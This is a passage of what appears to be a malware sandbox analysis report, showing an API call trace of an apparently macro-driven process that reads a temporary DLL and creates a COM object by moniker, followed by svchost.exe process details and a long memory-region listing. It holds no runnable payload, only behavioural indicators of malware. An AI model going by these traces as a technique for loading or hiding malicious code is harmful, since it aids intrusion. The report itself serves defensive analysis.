(hObject=0xcd4) returned 1 [0101.757] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcae5b88 | out: hHeap=0x6e0000) returned 1 [0101.757] AreFileApisANSI () returned 1 [0101.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb3aaa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0101.757] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x66) returned 0xcadb690 [0101.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb3aaa0, cbMultiByte=-1, lpWideCharStr=0xcadb690, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll") returned 51 [0101.758] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\y5DF8.tmp.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\y5df8.tmp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x196ecc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcd4 [0101.758] GetFileType (hFile=0xcd4) returned 0x1 [0101.758] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xcadb690 | out: hHeap=0x6e0000) returned 1 [0101.758] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1000) returned 0xf296d18 [0101.758] ReadFile (in: hFile=0xcd4, lpBuffer=0xf296d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x196efc, lpOverlapped=0x0 | out: lpBuffer=0xf296d18*, lpNumberOfBytesRead=0x196efc*=0xc9, lpOverlapped=0x0) returned 1 [0101.758] ReadFile (in: hFile=0xcd4, lpBuffer=0xf296d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x196efc, lpOverlapped=0x0 | out: lpBuffer=0xf296d18*, lpNumberOfBytesRead=0x196efc*=0x0, lpOverlapped=0x0) returned 1 [0101.759] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0xf296d18 | out: hHeap=0x6e0000) returned 1 [0101.759] CloseHandle (hObject=0xcd4) returned 1 [0101.761] GetLastError () returned 0x0 [0101.762] GetProcAddress (hModule=0x76910000, lpProcName="FlsGetValue") returned 0x769bf350 [0101.762] SetLastError (dwErrCode=0x0) [0101.763] GetLastError () returned 0x0 [0101.763] SetLastError (dwErrCode=0x0) [0101.764] GetLastError () returned 0x0 [0101.764] SetLastError (dwErrCode=0x0) [0101.765] GetLastError () returned 0x0 [0101.765] SetLastError (dwErrCode=0x0) [0101.776] Sleep (dwMilliseconds=0x0) [0101.818] GetAsyncKeyState (vKey=3) returned 0 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.819] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.820] GetLocalTime (in: lpSystemTime=0x197b4c | out: lpSystemTime=0x197b4c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x26, wSecond=0x2f, wMilliseconds=0x11b)) [0101.821] Sleep (dwMilliseconds=0x0) [0101.851] SetErrorMode (uMode=0x8001) returned 0x8001 [0101.851] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1 [0101.863] LoadLibraryA (lpLibFileName="user32") returned 0x743d0000 [0101.868] SetErrorMode (uMode=0x8001) returned 0x8001 [0101.869] GetProcAddress (hModule=0x743d0000, lpProcName="KillTimer") returned 0x74408aa0 [0101.869] KillTimer (hWnd=0x0, uIDEvent=0x7f85) returned 1 [0101.869] GetLastError () returned 0x0 [0101.872] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.872] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.872] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.872] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.873] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.873] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.873] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.873] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.873] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.873] CreateBindCtx (in: reserved=0x0, ppbc=0x197808 | out: ppbc=0x197808*=0xc7c9410) returned 0x0 [0101.874] MkParseDisplayName (in: pbc=0xc7c9410, szUserName="new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B", pchEaten=0x19780c, ppmk=0x197810 | out: pchEaten=0x19780c, ppmk=0x197810*=0xc7c9c50) returned 0x0 [0101.876] IUnknown:Release (This=0xc7c9410) returned 0x0 [0101.876] BindMoniker (in: pmk=0xc7c9c50, grfOpt=0x0, iidResult=0x69538088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x197804 | out: ppvResult=0x197804*=0x8dbc574) returned 0x0 [0101.876] IUnknown:Release (This=0xc7c9c50) returned 0x0 [0101.878] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197bac | out: ppsaOut=0x197bac) returned 0x0 [0101.878] SafeArrayAllocData (psa=0xc7ce9d0) returned 0x0 [0101.884] SafeArrayDestroyData (psa=0xc7ce9d0) returned 0x0 [0101.884] SafeArrayDestroyDescriptor (psa=0xc7ce9d0) returned 0x0 [0101.889] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.889] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.889] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.889] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.890] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.890] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.890] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.890] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0101.890] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.890] CreateBindCtx (in: reserved=0x0, ppbc=0x197808 | out: ppbc=0x197808*=0xc7c9c50) returned 0x0 [0101.891] MkParseDisplayName (in: pbc=0xc7c9c50, szUserName="new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B", pchEaten=0x19780c, ppmk=0x197810 | out: pchEaten=0x19780c, ppmk=0x197810*=0xc7c9f50) returned 0x0 [0101.892] IUnknown:Release (This=0xc7c9c50) returned 0x0 [0101.892] BindMoniker (in: pmk=0xc7c9f50, grfOpt=0x0, iidResult=0x69538088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x197804 | out: ppvResult=0x197804*=0x8dbc484) returned 0x0 [0101.892] IUnknown:Release (This=0xc7c9f50) returned 0x0 [0101.894] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197bac | out: ppsaOut=0x197bac) returned 0x0 [0101.894] SafeArrayAllocData (psa=0xc7ce9d0) returned 0x0 [0101.897] SafeArrayDestroyData (psa=0xc7ce9d0) returned 0x0 [0101.897] SafeArrayDestroyDescriptor (psa=0xc7ce9d0) returned 0x0 [0101.924] SafeArrayDestroyData (psa=0xc7cdb60) returned 0x0 [0101.951] SafeArrayAllocData (psa=0xc7cdb60) returned 0x0 [0101.951] SafeArrayDestroyData (psa=0xc7cdb60) returned 0x0 [0101.951] SafeArrayDestroyDescriptor (psa=0xc7cdb60) returned 0x0 Thread: id = 17 os_tid = 0x13f4 Thread: id = 18 os_tid = 0x13fc Thread: id = 110 os_tid = 0xd6c Thread: id = 119 os_tid = 0xcbc Thread: id = 147 os_tid = 0xe00 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75956000" os_pid = "0x360" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abff" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 625 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 626 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 627 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 628 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 629 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 630 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 631 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 632 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 633 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 634 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 635 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 636 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 637 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 638 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 639 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 640 start_va = 0x420000 end_va = 0x421fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 641 start_va = 0x430000 end_va = 0x434fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 642 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 643 start_va = 0x450000 end_va = 0x452fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 644 start_va = 0x470000 end_va = 0x479fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 645 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 646 start_va = 0x540000 end_va = 0x546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 647 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 648 start_va = 0x5d0000 end_va = 0x5d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 649 start_va = 0x5e0000 end_va = 0x5e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 650 start_va = 0x5f0000 end_va = 0x5f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 651 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 652 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 653 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 654 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 655 start_va = 0x8b0000 end_va = 0x8bcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 656 start_va = 0x8c0000 end_va = 0x8c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 657 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 658 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 659 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 660 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 661 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 662 start_va = 0xb90000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 663 start_va = 0xc90000 end_va = 0xc93fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 664 start_va = 0xca0000 end_va = 0xcb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 665 start_va = 0xcc0000 end_va = 0xcc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 666 start_va = 0xcd0000 end_va = 0xd14fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 667 start_va = 0xd20000 end_va = 0xd2cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 668 start_va = 0xd30000 end_va = 0xd36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 669 start_va = 0xd40000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 670 start_va = 0xdc0000 end_va = 0xdc8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 671 start_va = 0xdd0000 end_va = 0xdd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 672 start_va = 0xde0000 end_va = 0xde1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 673 start_va = 0xdf0000 end_va = 0xdf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 674 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 675 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 676 start_va = 0x1000000 end_va = 0x1336fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 677 start_va = 0x1340000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 678 start_va = 0x1440000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 679 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 680 start_va = 0x15c0000 end_va = 0x15c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015c0000" filename = "" Region: id = 681 start_va = 0x15d0000 end_va = 0x15e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 682 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 683 start_va = 0x1700000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 684 start_va = 0x1800000 end_va = 0x18dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 685 start_va = 0x18e0000 end_va = 0x18f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 686 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 687 start_va = 0x1a00000 end_va = 0x1a10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 688 start_va = 0x1a20000 end_va = 0x1a30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 689 start_va = 0x1a40000 end_va = 0x1a50fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 690 start_va = 0x1a70000 end_va = 0x1a76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 691 start_va = 0x1a80000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 692 start_va = 0x1b80000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 693 start_va = 0x1c80000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 694 start_va = 0x1d00000 end_va = 0x1d10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 695 start_va = 0x1d20000 end_va = 0x1d30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 696 start_va = 0x1d40000 end_va = 0x1d67fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 697 start_va = 0x1d80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 698 start_va = 0x1e80000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 699 start_va = 0x1f80000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 700 start_va = 0x2080000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 701 start_va = 0x2180000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 702 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 703 start_va = 0x2380000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 704 start_va = 0x2480000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 705 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 706 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 707 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 708 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 709 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 710 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 711 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 712 start_va = 0x2c00000 end_va = 0x2c8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 713 start_va = 0x2c90000 end_va = 0x2d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 714 start_va = 0x2d10000 end_va = 0x2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 715 start_va = 0x2e10000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 716 start_va = 0x2f30000 end_va = 0x2f47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 717 start_va = 0x2f50000 end_va = 0x2fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 718 start_va = 0x3010000 end_va = 0x310ffff monitored = 1 entry_point = 0x0 